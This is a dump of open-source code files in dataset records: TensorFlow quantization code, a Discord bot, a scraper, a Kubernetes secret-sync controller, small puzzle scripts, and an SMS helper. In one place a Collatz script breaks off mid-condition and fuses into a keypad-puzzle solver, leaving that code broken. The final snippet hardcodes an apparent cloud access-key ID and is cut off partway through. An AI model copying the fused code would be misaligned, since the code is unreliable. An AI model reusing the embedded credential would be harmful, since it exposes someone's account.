not provided for non-QAT model.\n RuntimeError: When a MetaGraphDef could not be found associated with `tags`\n in the SavedModel.\n \"\"\"\n logging.info(\n 'Running static range quantization on model: %s', saved_model_path\n )\n logging.info('Using SignatureDef keys: %s', signature_keys)\n logging.info('Using tags: %s', tags)\n logging.info('QuantizationOptions: \\n%s', quantization_options)\n\n is_qat_saved_model = _is_qat_saved_model(saved_model_path)\n signature_def_map = save_model.get_signatures_from_saved_model(\n saved_model_path, signature_keys, tags\n )\n\n # Checks if the model is from QAT\n if representative_dataset is None and not is_qat_saved_model:\n raise ValueError(\n 'When `representative_dataset` is not provided, the model should be '\n 'trained with quantization-aware training (QAT).'\n )\n if quantization_options.min_num_elements_for_weights > 0:\n logging.warn(\n 'min_num_elements_for_weights is set but is not supported for the '\n 'Post-training static range quantization. '\n 'The flag is ignored.'\n )\n\n if is_qat_saved_model:\n _run_static_range_qat(\n saved_model_path,\n output_directory,\n signature_keys,\n tags,\n quantization_options,\n signature_def_map,\n )\n else:\n _run_static_range_ptq(\n saved_model_path,\n output_directory,\n signature_keys,\n tags,\n quantization_options,\n representative_dataset,\n signature_def_map,\n )\n\n return saved_model_load(output_directory)\n\n\ndef _dynamic_range_quantize(\n saved_model_path: str,\n signature_keys: Sequence[str],\n tags: Collection[str],\n output_directory: str,\n quantization_options: quant_opts_pb2.QuantizationOptions,\n) -> autotrackable.AutoTrackable:\n \"\"\"Quantizes the given SavedModel via post-training dynamic range quantization.\n\n Weight-only quantization also uses this path.\n\n Args:\n saved_model_path: Path to the saved model.\n signature_keys: Sequence of keys identifying SignatureDef containing inputs\n and outputs.\n tags: Collection of tags identifying the MetaGraphDef within the SavedModel\n to analyze.\n output_directory: The path to save the output SavedModel. The directory will\n be overwritten if not empty.\n quantization_options: QuantizationOptions proto describing quantization\n related config.\n\n Returns:\n A SavedModel object with TF quantization applied.\n\n Raises:\n ValueError: when the model is QAT model.\n \"\"\"\n if (\n quantization_options.quantization_method.experimental_method\n == _ExperimentalMethod.WEIGHT_ONLY\n ):\n mode_str = 'weight-only quantization'\n else:\n mode_str = 'dynamic-range quantization'\n if _is_qat_saved_model(saved_model_path):\n raise ValueError(\n 'The models trained with quantization-aware training (QAT) is not '\n 'supported for %s.' % mode_str\n )\n\n logging.info(\n 'Running post-training %s on model: %s', mode_str, saved_model_path\n )\n logging.info('Using SignatureDef keys: %s', signature_keys)\n logging.info('Using tags: %s', tags)\n logging.info('QuantizationOptions: \\n%s', quantization_options)\n\n # Check default quantization option values for post-training dynamic range\n # quantization case.\n # TODO(b/242805842): Find good minimum_elements_for_weights number for server.\n # please also update default value in tflite converter:\n # tensorflow/compiler/mlir/lite/tf_to_tfl_flatbuffer.cc;l=201\n if quantization_options.min_num_elements_for_weights == 0:\n quantization_options.min_num_elements_for_weights = (\n _DYNAMIC_RANGE_DEFAULT_MIN_NUM_ELEMENTS_FOR_WEIGHTS\n )\n logging.warn(\n (\n 'QuantizationOptions.min_num_elements_for_weights is not set (0). '\n 'Setting to the default value: %s.'\n ),\n _DYNAMIC_RANGE_DEFAULT_MIN_NUM_ELEMENTS_FOR_WEIGHTS,\n )\n\n loader = saved_model_loader.SavedModelLoader(saved_model_path)\n\n function_aliases = loader.get_meta_graph_def_from_tags(\n tags\n ).meta_info_def.function_aliases\n\n # Apply post-training dynamic range quantization to the model.\n exported_model_serialized = pywrap_quantize_model.quantize_ptq_dynamic_range(\n saved_model_path,\n list(signature_keys),\n set(tags),\n quantization_options.SerializeToString(),\n dict(function_aliases),\n )\n\n exported_model = exported_model_pb2.ExportedModel.FromString(\n exported_model_serialized\n )\n signature_def_map = save_model.get_signatures_from_saved_model(\n saved_model_path, signature_keys, tags\n )\n\n save_model.save_model_v1(\n exported_model.graph_def,\n output_directory,\n signature_def_map,\n tags,\n init_op_name=exported_model.init_node_name,\n saver_def=_get_saver_def_or_none(exported_model),\n checkpoint_dir=exported_model.checkpoint_dir,\n function_aliases=exported_model.function_aliases,\n asset_file_defs=exported_model.asset_file_defs,\n )\n _copy_assets(saved_model_path, output_directory)\n\n return saved_model_load(output_directory)\n\n\ndef _verify_output_dir(output_dir: Optional[str], overwrite: bool) -> None:\n \"\"\"Verifies the output directory.\n\n Raises an error if `output_dir` is not suitable for writing the output saved\n model.\n\n Args:\n output_dir: Output directory.\n overwrite: An option allowing to overwrite the existing output directory if\n set to true. Does not actually create or modify the `output_dir` in this\n function.\n\n Raises:\n FileExistsError: Iff `output_dir` is not empty and `overwrite` is false.\n \"\"\"\n dir_not_empty = (\n output_dir is not None\n and file_io.file_exists_v2(output_dir)\n and file_io.list_directory_v2(output_dir)\n )\n\n if dir_not_empty and not overwrite:\n raise FileExistsError(\n f'Output directory already exists: {output_dir} . '\n 'Please set overwrite_output_directory to true to '\n 'overwrite the existing directory.'\n )\n\n\ndef _populate_quantization_component_spec(\n quantization_options: quant_opts_pb2.QuantizationOptions,\n) -> None:\n \"\"\"Populates default values for QuantizationComponentSpec.\n\n Args:\n quantization_options: An instance of QuantizationOptions with a field\n specifying QuantizationComponentSpec.\n \"\"\"\n quant_method: quant_opts_pb2.QuantizationMethod = (\n quantization_options.quantization_method\n )\n\n if quantization_options.unit_wise_quantization_spec:\n raise ValueError('Selective quantization is not supported yet.')\n\n # Make sure creating one spec per component.\n updated_component_spec = dict()\n\n # Populate default configuration.\n if (\n quant_method.experimental_method == _ExperimentalMethod.STATIC_RANGE\n or quant_method.experimental_method == _ExperimentalMethod.DYNAMIC_RANGE\n ):\n updated_component_spec[_QuantizationComponent.COMPONENT_ACTIVATION] = (\n quant_opts_pb2.QuantizationComponentSpec(\n quantization_component=_QuantizationComponent.COMPONENT_ACTIVATION,\n tensor_type=_TensorType.TENSORTYPE_INT_8,\n )\n )\n updated_component_spec[_QuantizationComponent.COMPONENT_WEIGHT] = (\n quant_opts_pb2.QuantizationComponentSpec(\n quantization_component=_QuantizationComponent.COMPONENT_WEIGHT,\n tensor_type=_TensorType.TENSORTYPE_INT_8,\n )\n )\n updated_component_spec[_QuantizationComponent.COMPONENT_BIAS] = (\n quant_opts_pb2.QuantizationComponentSpec(\n quantization_component=_QuantizationComponent.COMPONENT_BIAS,\n tensor_type=_TensorType.TENSORTYPE_INT_32,\n )\n )\n else:\n updated_component_spec[_QuantizationComponent.COMPONENT_WEIGHT] = (\n quant_opts_pb2.QuantizationComponentSpec(\n quantization_component=_QuantizationComponent.COMPONENT_WEIGHT,\n tensor_type=_TensorType.TENSORTYPE_INT_8,\n )\n )\n\n # Override if quantization_component_spec is specified.\n if quant_method.quantization_component_specs:\n # Check if the component spec is supported configuration in TF-Quant.\n for component_spec in quant_method.quantization_component_specs:\n if (\n component_spec.quantization_component\n == _QuantizationComponent.COMPONENT_WEIGHT\n ) or (\n component_spec.quantization_component\n == _QuantizationComponent.COMPONENT_ACTIVATION\n ):\n if component_spec.tensor_type != _TensorType.TENSORTYPE_INT_8:\n raise ValueError(\n 'Only int8 precision is supported for input operands.'\n )\n else:\n if component_spec.tensor_type != _TensorType.TENSORTYPE_INT_32:\n raise ValueError('Only int32 precision is supported for bias.')\n # Update with the custom spec.\n updated_component_spec[component_spec.quantization_component] = (\n component_spec\n )\n\n # Update the componet spec\n del quant_method.quantization_component_specs[:]\n quant_method.quantization_component_specs.extend(\n updated_component_spec.values()\n )\n\n if (\n quant_method.experimental_method == _ExperimentalMethod.STATIC_RANGE\n or quant_method.experimental_method == _ExperimentalMethod.DYNAMIC_RANGE\n ) and (len(quant_method.quantization_component_specs) != 3):\n raise ValueError('Only 3 components are needed for', quant_method)\n elif (\n quant_method.experimental_method == _ExperimentalMethod.WEIGHT_ONLY\n ) and len(quant_method.quantization_component_specs) != 1:\n raise ValueError('At least one component spec needs to be specified.')\n\n\ndef _populate_quantization_options_default_values(\n quantization_options: quant_opts_pb2.QuantizationOptions,\n) -> None:\n \"\"\"Populates default values for QuantizationOptions.\n\n Populates unspecified or unset fields of QuantizationOptions with the default\n values.\n\n * If `op_set` is unspecified, it defaults to `OpSet.XLA`.\n * If `freeze_all_variables` is not set, it defaults to `True`.\n * Check if configurations are set correctly:\n - Per-channel quantization is supported for Uniform Quantized opset only.\n\n Args:\n quantization_options: An instance of QuantizationOptions.\n \"\"\"\n if quantization_options.op_set == quant_opts_pb2.OpSet.OP_SET_UNSPECIFIED:\n quantization_options.op_set = quant_opts_pb2.OpSet.XLA\n\n if not quantization_options.HasField('freeze_all_variables'):\n quantization_options.freeze_all_variables.enabled = True\n\n # TODO(b/281595329): Implement static range quantization per-channel support\n if quantization_options.enable_per_channel_quantization and not (\n quantization_options.op_set == quant_opts_pb2.OpSet.UNIFORM_QUANTIZED\n or quantization_options.quantization_method.experimental_method\n == _ExperimentalMethod.WEIGHT_ONLY\n ):\n raise ValueError(\n 'Currently, per-channel quantization is supported for Uniform '\n 'Quantized opset and Weight-only.'\n )\n\n if (\n quantization_options.quantization_method.experimental_method\n == _ExperimentalMethod.WEIGHT_ONLY\n and (\n quantization_options.op_set == quant_opts_pb2.OpSet.UNIFORM_QUANTIZED\n or quantization_options.op_set == quant_opts_pb2.OpSet.TF\n )\n ):\n raise ValueError('TF/Uniform quantized opset does not support weight-only.')\n\n # Converter assumes options are specified. So set SRQ explicitly.\n if (\n quantization_options.quantization_method.experimental_method\n == _ExperimentalMethod.EXPERIMENTAL_METHOD_UNSPECIFIED\n ):\n logging.debug(\n '\"experimental_method\" for QuantizationMethod is not specified.'\n 'Static range quantization is used by default.'\n )\n quantization_options.quantization_method.experimental_method = (\n _ExperimentalMethod.STATIC_RANGE\n )\n\n # Check and populate quantization component spec\n _populate_quantization_component_spec(quantization_options)\n\n\ndef quantize(\n saved_model_path: str,\n signature_keys: Optional[Sequence[str]] = None,\n tags: Optional[Collection[str]] = None,\n output_directory: Optional[str] = None,\n quantization_options: Optional[quant_opts_pb2.QuantizationOptions] = None,\n representative_dataset: Optional[\n repr_dataset.RepresentativeDatasetOrMapping\n ] = None,\n *,\n overwrite_output_directory: bool = False,\n) -> autotrackable.AutoTrackable:\n \"\"\"Quantizes the given SavedModel.\n\n Args:\n saved_model_path: Path to the saved model. When representative_dataset is\n not provided, this should be a model trained with QAT.\n signature_keys: Sequence of keys identifying SignatureDef containing inputs\n and outputs. If None, [\"serving_default\"] is used.\n tags: (TF1 SavedModel only) Collection of tags identifying the MetaGraphDef\n within the SavedModel to analyze. If None, {\"serve\"} is used.\n output_directory: The path to save the output SavedModel. Set\n `overwrite_output_directory` to `True` to overwrite any existing contents\n in the directory if not empty.\n quantization_options: A set of options for quantization. If None, it uses\n post-training static range quantization with TF opset by default.\n representative_dataset: an iterator that returns a dictionary of {input_key:\n input_value} or a tuple with signature key and a dictionary of {input_key:\n input_value} that feeds calibration data for quantizing model. This should\n be provided when the model is a PTQ model.\n overwrite_output_directory: If set to true, overwrites the output directory\n iff it isn't empty. The default value is false.\n\n Returns:\n A SavedModel object with TF quantization applied, or None if no quantization\n is performed.\n\n Raises:\n ValueError: When 1) representative_dataset is not provided for non QAT model\n for enabling static range quantization, or 2) invalid value is provided as\n a quantization method.\n NotImplementedError: When the specified quantization method is not yet\n implemented.\n \"\"\"\n _verify_output_dir(output_directory, overwrite_output_directory)\n\n # Set default values for None arguments.\n if output_directory is None:\n output_directory = tempfile.mkdtemp()\n\n if quantization_options is None:\n quantization_options = quant_opts_pb2.QuantizationOptions()\n\n _populate_quantization_options_default_values(quantization_options)\n\n if tags is None:\n tags = {tag_constants.SERVING}\n\n if signature_keys is None:\n signature_keys = [signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY]\n\n method: quant_opts_pb2.QuantizationMethod = (\n quantization_options.quantization_method\n )\n if method.HasField('method'):\n raise ValueError(f'Invalid value for QuantizationMethod: {method.method}.')\n elif method.HasField('experimental_method'):\n if method.experimental_method == _ExperimentalMethod.STATIC_RANGE:\n return _static_range_quantize(\n saved_model_path,\n signature_keys,\n tags,\n output_directory,\n quantization_options,\n representative_dataset,\n )\n elif (\n method.experimental_method == _ExperimentalMethod.DYNAMIC_RANGE\n or method.experimental_method == _ExperimentalMethod.WEIGHT_ONLY\n ):\n return _dynamic_range_quantize(\n saved_model_path,\n signature_keys,\n tags,\n output_directory,\n quantization_options,\n )\n else:\n raise NotImplementedError(\n 'Experimental quantization method {method.experimental_method}'\n ' is not implemented.'\n )\n else:\n raise ValueError(f'Invalid value for QuantizationMethod: {method.method}.')\n","repo_name":"iridium-browser/iridium-browser","sub_path":"third_party/tflite/src/tensorflow/compiler/mlir/quantization/tensorflow/python/quantize_model.py","file_name":"quantize_model.py","file_ext":"py","file_size_in_byte":45605,"program_lang":"python","lang":"en","doc_type":"code","stars":314,"dataset":"github-code","pt":"53"} +{"seq_id":"72468309928","text":"#hem collatz hemde fibonacci\nfib1=1\nfib2=1\ncol=[1]\nfor p in range(2,1000000):\n n=p\n c=1\n while(n!=1): \n fib=fib1+fib2\n fib1=fib2\n fib2=fib\n if(n%2==0):\n n=n/2\n else: \n n=3*n+1\n if(n 3):\n currDigit -= 3\n elif (char == 'D' and currDigit < 7):\n currDigit += 3\n elif (char == 'L' and currDigit not in [1, 4, 7]):\n currDigit -= 1\n elif (char == 'R' and currDigit not in [3, 6, 9]):\n currDigit += 1\n digits = digits + str(currDigit)\n\n print(digits)\n\nif __name__ == \"__main__\":\n main()","repo_name":"benjmo/AdventOfCode2016","sub_path":"day02/star03.py","file_name":"star03.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"24359718648","text":"import logging\nimport os\nimport re\nimport requests\n\nfrom bs4 import BeautifulSoup\nfrom django.core.management.base import BaseCommand\nfrom xkcd.models import Comic\n\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n comics = []\n counter = 0\n stored_comics = Comic.objects.all().order_by('-published')\n latest_number = stored_comics[0].number if stored_comics else 0\n\n # Get the xkcd homepage\n base_link = 'https://xkcd.com/'\n res = requests.get(base_link)\n res.raise_for_status()\n\n # Get the starting comic number\n page_soup = BeautifulSoup(res.text, features=\"html.parser\")\n comic_number = re.search(r'(?<=https://xkcd.com/)\\d+', page_soup.text).group(0)\n\n while str(latest_number) != comic_number and counter < 5:\n res = requests.get(f'{base_link}/{comic_number}')\n res.raise_for_status()\n\n # Parse the page and find the comic image element\n page_soup = BeautifulSoup(res.text, features=\"html.parser\")\n img_elem = page_soup.find(id='comic').img\n basename = os.path.basename(img_elem.get('src'))\n\n # Save the comic image to the disk\n try:\n img_res = requests.get(f'https://imgs.xkcd.com/comics/{basename}')\n img_res.raise_for_status()\n logging.info(f'Downloading {basename}')\n\n # Save the image to ./xkcd. (from ATBS)\n filepath = os.path.join('site/xkcd/static/img', basename)\n img_file = open(filepath, 'wb')\n for chunk in img_res.iter_content(100000):\n img_file.write(chunk)\n img_file.close()\n\n except requests.exceptions.HTTPError:\n logging.info(f'Could not find xkcd {number}')\n comic_number -= 1\n continue\n\n # Save the comic data to the array to be persisted\n comics.append(Comic(\n number = int(comic_number),\n img_filename = basename,\n display_name = img_elem.get('alt'),\n description = img_elem.get('title'),\n ))\n\n # Find the link to the next comic page\n prev_link = page_soup.select('a[rel=\"prev\"]')[0]\n comic_number = prev_link.get('href').replace('/', '')\n counter += 1\n\n # Find the published date for each downloaded comic on the archives page\n if comics:\n res = requests.get(f'{base_link}/archive')\n res.raise_for_status()\n\n # Parse the page and find the comic image element\n page_soup = BeautifulSoup(res.text, features=\"html.parser\")\n link_list = page_soup.find(id='middleContainer').find_all('a', limit=len(comics))\n\n # Save the date from the archive link to the comic object\n for i in range(len(comics)):\n archive_link_number = int(link_list[i].get('href').replace('/', ''))\n\n if comics[i].number == archive_link_number:\n comics[i].published = link_list[i].get('title')\n else:\n logging.error(f\"\"\"Abort: comic ids do not line up with archive links.\n downloaded comic: {comics[i].number}\n archive page link: {archive_link_number}\n Downloaded comics have not been recorded in the database.\"\"\")\n return\n\n logging.info('Saving downloaded comics')\n Comic.objects.bulk_create(comics)\n\n logging.info('Comics are up to date.')\n","repo_name":"erkarp/masonry","sub_path":"site/xkcd/management/commands/scrape_for_new_comics.py","file_name":"scrape_for_new_comics.py","file_ext":"py","file_size_in_byte":3744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"32192070603","text":"import sys\n\nUSE_PYTHON3 = True\n\n\ndef _DoCommonChecks(input_api, output_api):\n sys.path += [input_api.change.RepositoryRoot()]\n\n from go_presubmit_support import RunGoTests\n\n return RunGoTests(input_api, output_api)\n\n\nCheckChangeOnUpload = _DoCommonChecks\nCheckChangeOnCommit = _DoCommonChecks\n","repo_name":"iridium-browser/iridium-browser","sub_path":"third_party/dawn/tools/PRESUBMIT.py","file_name":"PRESUBMIT.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":314,"dataset":"github-code","pt":"53"} +{"seq_id":"9880226017","text":"from dagster_gcp import BigQueryResource\n\nfrom dagster import Definitions, asset\n\n# this example executes a query against the IRIS.IRIS_DATA table created in Step 2 of the\n# Using Dagster with BigQuery tutorial\n\n\n@asset\ndef small_petals(bigquery: BigQueryResource):\n with bigquery.get_client() as client:\n return client.query(\n 'SELECT * FROM IRIS.IRIS_DATA WHERE \"petal_length_cm\" < 1 AND'\n ' \"petal_width_cm\" < 1',\n ).result()\n\n\ndefs = Definitions(\n assets=[small_petals],\n resources={\n \"bigquery\": BigQueryResource(\n project=\"my-gcp-project\",\n location=\"us-east5\",\n )\n },\n)\n","repo_name":"dagster-io/dagster","sub_path":"examples/docs_snippets/docs_snippets/integrations/bigquery/reference/resource.py","file_name":"resource.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":8986,"dataset":"github-code","pt":"53"} +{"seq_id":"4032620629","text":"from typing import Type\n\nfrom fastapi import APIRouter, Body, Depends, HTTPException, Request, status\nfrom pydantic import EmailStr\n\nfrom fastapi_users import models\nfrom fastapi_users.manager import (\n BaseUserManager,\n InvalidVerifyToken,\n UserAlreadyVerified,\n UserInactive,\n UserManagerDependency,\n UserNotExists,\n)\nfrom fastapi_users.router.common import ErrorCode\n\n\ndef get_verify_router(\n get_user_manager: UserManagerDependency[models.UC, models.UD],\n user_model: Type[models.U],\n):\n router = APIRouter()\n\n @router.post(\"/request-verify-token\", status_code=status.HTTP_202_ACCEPTED)\n async def request_verify_token(\n request: Request,\n email: EmailStr = Body(..., embed=True),\n user_manager: BaseUserManager[models.UC, models.UD] = Depends(get_user_manager),\n ):\n try:\n user = await user_manager.get_by_email(email)\n await user_manager.request_verify(user, request)\n except (UserNotExists, UserInactive, UserAlreadyVerified):\n pass\n\n return None\n\n @router.post(\"/verify\", response_model=user_model)\n async def verify(\n request: Request,\n token: str = Body(..., embed=True),\n user_manager: BaseUserManager[models.UC, models.UD] = Depends(get_user_manager),\n ):\n try:\n return await user_manager.verify(token, request)\n except (InvalidVerifyToken, UserNotExists):\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=ErrorCode.VERIFY_USER_BAD_TOKEN,\n )\n except UserAlreadyVerified:\n raise HTTPException(\n status_code=status.HTTP_400_BAD_REQUEST,\n detail=ErrorCode.VERIFY_USER_ALREADY_VERIFIED,\n )\n\n return router\n","repo_name":"Piyush026/hackthon_chatbot","sub_path":"fastapi_project/venv/lib/python3.9/site-packages/fastapi_users/router/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":1817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"6208031807","text":"# https://discord.com/api/oauth2/authorize?client_id=1050716394792169562&permissions=137439291456&scope=bot\n\n\nimport discord\nfrom discord.ext import commands\nimport asyncio\nfrom pathlib import Path\nimport sys\n\nfrom Utils.Json import *\n\n\ndef run(TOKEN):\n print(f\"# python-{sys.version}\")\n print(f\"# discord-{discord.__version__}\")\n print()\n\n DEFAULT_PREFIX = \"!\"\n\n def get_prefix(bot, message):\n if not message.guild:\n return commands.when_mentioned_or(DEFAULT_PREFIX)(bot, message)\n guild_id = str(message.guild.id)\n filename = \"guilds\"\n if is_json(filename):\n guilds = read_json(filename)\n guilds[guild_id] = guilds.get(guild_id, {})\n guilds[guild_id][\"prefix\"] = guilds[guild_id].get(\"prefix\", DEFAULT_PREFIX)\n prefix = guilds[guild_id][\"prefix\"]\n return commands.when_mentioned_or(prefix)(bot, message)\n\n\n async def setup(bot):\n foldername = 'Cogs'\n for filename in os.listdir(f\"{Path(__file__).parents[0]}/{foldername}\"):\n if filename.endswith(\".py\"):\n try:\n await bot.load_extension(f\"{foldername}.{filename[:-3]}\")\n except Exception as e:\n print(f'{filename} 로드 실패:\\n{e}\\n')\n\n\n intents = discord.Intents.default()\n intents.message_content = True\n bot = commands.Bot(command_prefix=get_prefix, intents=intents, case_insensitive=True)\n\n asyncio.run(setup(bot))\n\n\n @bot.event\n async def on_ready():\n print('------------------------------')\n print('연결 중입니다')\n print(f'봇={bot.user.name}로 연결 중')\n print('연결이 완료되었습니다')\n print('------------------------------')\n await bot.change_presence(status=discord.Status.online, activity=None)\n\n bot.run(TOKEN)\n \n \nif __name__ == \"__main__\":\n pass","repo_name":"codn0185/R6Helper","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"16123309939","text":"import time\n\nimport KeyMouse\n\nf = open('我的脚本1.rec', 'w', encoding='utf-8')\nx = KeyMouse.newKeyboardListener(f)\ny = KeyMouse.newMouseListener(f)\nprint('开始录制 F12结束')\nx.start()\ny.start()\nwhile (x.is_alive()):\n i = 1\ny.stop()\nf.close()\nprint(y.is_alive())\nprint('录制完成')\nf = open('我的脚本1.rec', 'r', encoding='utf-8')\ntime.sleep(3)\nprint('开始回放')\nKeyMouse.executeRecord(f)","repo_name":"vxiaocheng/genshin_auto","sub_path":"test/KeyMouse_test.py","file_name":"KeyMouse_test.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"10291314549","text":"'''\ninput: [1,2,3,4,5], [6,7,8,9,10]\noutput: [5,6]\n'''\n\n# O(nlog(n) + mlog(m)) time, O(1) space\ndef smallestDifference(arrayOne, arrayTwo):\n\n arrayOne.sort()\n arrayTwo.sort()\n\t\n abs_diff = None\n value_list = []\n\t\n one_cursor = 0\n two_cursor = 0\n\n while one_cursor < len(arrayOne) or two_cursor < len(arrayTwo):\n\t\n i, j = arrayOne[one_cursor], arrayTwo[two_cursor]\n\t\t\n if abs_diff is None or abs_diff > abs(i-j):\n abs_diff = abs(i-j)\n value_list = [i,j]\n\t\t\t\n if i < j and one_cursor < len(arrayOne)-1:\n one_cursor += 1\n elif i > j and two_cursor < len(arrayTwo)-1:\n two_cursor += 1\n else:\n return value_list\n\t\t \n return value_list\n","repo_name":"sungjun0110/algorithms","sub_path":"python/smallestDifference.py","file_name":"smallestDifference.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"12148374885","text":"project = \"r8\"\nmaster_doc = \"index\"\n\nextensions = [\n \"sphinx.ext.autodoc\",\n \"sphinx.ext.napoleon\",\n \"sphinxcontrib_trio\",\n]\n\nautodoc_member_order = \"bysource\"\n\nhtml_theme_options = {\n \"show_powered_by\": False,\n}\nhtml_show_copyright = False\nhtml_show_sourcelink = False\nhtml_sidebars = {\"**\": []}\n","repo_name":"mhils/r8","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"53"} +{"seq_id":"23827268186","text":"\"\"\"\nSync data fields between secrets.\n\"\"\"\n\n# To get nicer type annotations in Python 3.7 and 3.8.\nfrom __future__ import annotations\n\nfrom contextlib import contextmanager\n\nimport attr\nimport kopf # type: ignore\nimport pykube # type: ignore\n\nANNOTATION_PREFIX = \"secret-sync.praekelt.org\"\nANN_SYNC_TO = f\"{ANNOTATION_PREFIX}/sync-to\"\nANN_WATCH = f\"{ANNOTATION_PREFIX}/watch\"\n\n\n_kcfg = None\n_kapi = None\n\n\n@attr.s(frozen=True)\nclass SecretRef:\n \"\"\"\n An immutable reference to a secret that we can perform various operations\n on.\n \"\"\"\n\n namespace: str = attr.ib()\n name: str = attr.ib()\n\n def __str__(self):\n return f\"{self.namespace}/{self.name}\"\n\n @classmethod\n def from_meta(cls, meta):\n \"\"\"\n Build a SecretRef for the given secret metadata.\n \"\"\"\n return cls(namespace=meta[\"namespace\"], name=meta[\"name\"])\n\n @classmethod\n def _find_destination(cls, ns, name):\n if \"/\" in name:\n ns, name = name.split(\"/\", 2)\n return cls(namespace=ns, name=name)\n\n @classmethod\n def find_destinations(cls, meta):\n \"\"\"\n Build a SecretRef for each of the given source secret metadata's\n destinations.\n \"\"\"\n ns = meta[\"namespace\"]\n dests = meta[\"annotations\"][ANN_SYNC_TO].split(\",\")\n return [cls._find_destination(ns, name) for name in dests]\n\n def _meta(self):\n return {\"name\": self.name, \"namespace\": self.namespace}\n\n def _as_pykube(self):\n return pykube.Secret(_kapi, {\"metadata\": self._meta()})\n\n @contextmanager\n def _existing_pykube(self, logger):\n try:\n yield self._as_pykube()\n except pykube.exceptions.HTTPError as e:\n if e.code != 404:\n raise # pragma: no cover\n logger.warning(f\"Secret not found: {self}\")\n\n def get(self, logger):\n with self._existing_pykube(logger) as secret:\n secret.reload()\n # If the secret we're fetching doesn't exist, the reload will raise\n # an exception that the context manager will catch and log, so this\n # return will be skipped.\n return secret.obj\n # If we get here, the secret wasn't found. (The \"type: ignore\" is to\n # avoid a false positive from mypy's unreachable code detector.)\n return None # type: ignore\n\n def patch(self, logger, patch_obj):\n add_annotation(patch_obj, ANN_WATCH, \"true\")\n with self._existing_pykube(logger) as secret:\n secret.patch(patch_obj)\n return secret.obj\n\n\n# We update this whenever we see a source event. The mapping is always\n# sufficiently complete, because there is no ordering of events that does not\n# result in an appropriate sync operation:\n# * If either src or dst doesn't exist, no sync is possible.\n# * If we see the src event first, we sync and update the mapping.\n# * If we see the dst event first, we ignore it and sync on the src event.\n_destination_map: dict[SecretRef, set[SecretRef]] = {}\n\n\ndef _add_src_dst_mapping(src_ref, dst_ref):\n _destination_map.setdefault(dst_ref, set()).add(src_ref)\n\n\ndef add_annotation(obj, annotation, value):\n annotations = obj.setdefault(\"metadata\", {}).setdefault(\"annotations\", {})\n annotations[annotation] = value\n\n\n@kopf.on.startup()\ndef auth_pykube(**_kw):\n \"\"\"\n Create an authenticated pykube API client at startup.\n \"\"\"\n global _kcfg, _kapi\n _kcfg = pykube.KubeConfig.from_env()\n _kapi = pykube.HTTPClient(_kcfg)\n\n\ndef copy_secret_data(src_secret, logger):\n \"\"\"\n Copy data from source secret to destination secret(s).\n \"\"\"\n dst_refs = SecretRef.find_destinations(src_secret[\"metadata\"])\n for dst_ref in dst_refs:\n dst_secret = dst_ref.patch(logger, {\"data\": {**src_secret[\"data\"]}})\n logger.info(f\"synced secret: {dst_secret}\")\n\n\n@kopf.on.event(\"\", \"v1\", \"secrets\", annotations={ANN_SYNC_TO: kopf.PRESENT})\ndef source_secret_event(body, meta, event, logger, **_kw):\n \"\"\"\n Handle a sync event for a source secret.\n\n There are four possible event types:\n * None: The secret was listed when we started watching.\n * 'ADDED': The secret was created.\n * 'MODIFIED': The secret was updated.\n * 'DELETED': The secret no longer exists.\n\n We ignore 'DELETED' events, because there's nothing we can do if the secret\n doesn't exist. For all other events, we update the destination map (so\n watched secret events know which source secrets to sync from) and sync our\n data to the destination secret.\n \"\"\"\n src_ref = SecretRef.from_meta(meta)\n if event[\"type\"] == \"DELETED\":\n logger.warning(f\"Source secret deleted: {src_ref}\")\n return\n for dst_ref in SecretRef.find_destinations(meta):\n _add_src_dst_mapping(src_ref, dst_ref)\n copy_secret_data(body, logger)\n\n\n@kopf.on.event(\"\", \"v1\", \"secrets\", annotations={ANN_WATCH: kopf.PRESENT})\ndef watched_secret_event(meta, event, logger, **_kw):\n \"\"\"\n Handle a sync event for a destination secret we're watching.\n\n There are four possible event types:\n * None: The secret was listed when we started watching.\n * 'ADDED': The secret was created.\n * 'MODIFIED': The secret was updated.\n * 'DELETED': The secret no longer exists.\n\n We ignore 'DELETED' events, because there's nothing we can do if the secret\n doesn't exist. For all other events, we look up which sources sync to this\n destination and blindly sync all of them. This is safe because the\n destination will only be updated (and thus trigger a 'MODIFIED' event) if\n it actually changes. This means that we always perform at least one\n additional unnecessary sync, but in exchange we avoid the complexity and\n potential race conditions of trying to determine whether a sync is\n necessary.\n \"\"\"\n dst_ref = SecretRef.from_meta(meta)\n if event[\"type\"] == \"DELETED\":\n logger.warning(f\"Watched secret deleted: {dst_ref}\")\n return\n for src_ref in _destination_map.get(dst_ref, set()):\n src_secret = src_ref.get(logger)\n if src_secret is not None:\n copy_secret_data(src_secret, logger)\n","repo_name":"praekeltfoundation/secret-sync-controller","sub_path":"src/secret_sync/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":6172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"18732152639","text":"from aliyunsdkcore.client import AcsClient\nfrom aliyunsdkcore.request import CommonRequest\n\n\ndef alidayu(telephone, captcha):\n client = AcsClient('LTAI1xbBJ5n1iWSW', 